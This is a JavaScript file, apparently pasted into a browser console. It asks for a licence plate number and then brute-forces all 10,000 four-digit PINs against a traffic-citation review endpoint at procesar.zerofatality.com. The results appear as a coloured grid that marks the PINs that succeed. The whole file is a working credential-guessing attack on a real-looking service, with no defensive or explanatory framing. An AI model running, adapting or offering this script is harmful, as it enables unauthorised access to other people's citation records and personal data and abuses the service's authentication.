index.js

(() => {
    var plate = ''
    while (!plate) plate = prompt('Insert your plate number:');

    console.clear()
    document.body.innerHTML = '<svg viewBox="0 0 600 600"></svg>'
    Object.assign(document.body.style, {
        width: '100vw', height: '100vh', margin: 0, padding: 0, background: '#000000',
        position: 'fixed', top: 0, right: 0, bottom: 0, left: 0, overflow: 'hidden',
    })
    Object.assign(document.querySelector('svg').style, {
        width: '90vw', height: '90vh', position: 'absolute', top: '50%', left: '50%', transform: 'translate(-50%, -50%)',
    })
    Array.from(Array(10000).keys()).reduce((chain, current) => {
        var pin = (current+10000).toString().substring(1)
        return chain.then(() => new Promise(resolve => {
            var xhr = new XMLHttpRequest()
            xhr.open('POST', 'https://procesar.zerofatality.com/vps/cgi/VP/citation_review', true)
            xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded')
            xhr.onreadystatechange = () => {
                if (xhr.readyState==4 && xhr.status==200) {
                    var svg = document.querySelector('svg')
                    var x = 6*parseInt(pin.substr(2, 2), 10)
                    var y = 6*parseInt(pin.substr(0, 2), 10)
                    var rect = document.createElementNS('http://www.w3.org/2000/svg', 'rect')
                    rect.setAttributeNS(null, 'x', x)
                    rect.setAttributeNS(null, 'y', y)
                    rect.setAttributeNS(null, 'width', 5)
                    rect.setAttributeNS(null, 'height', 5)
                    if (/invalid plate or pin/i.test(xhr.responseText)) {
                        rect.setAttributeNS(null, 'fill', '#880000')
                    } else {
                        rect.setAttributeNS(null, 'fill', '#008800')
                        var title = document.createElementNS('http://www.w3.org/2000/svg', 'title')
                        title.innerHTML = pin
                        rect.appendChild(title)
                    }
                    svg.appendChild(rect)
                    resolve(true)
                }
            }
            xhr.send(`number=${plate}&pin_code=${pin}`)
        }))
    }, Promise.resolve())
})()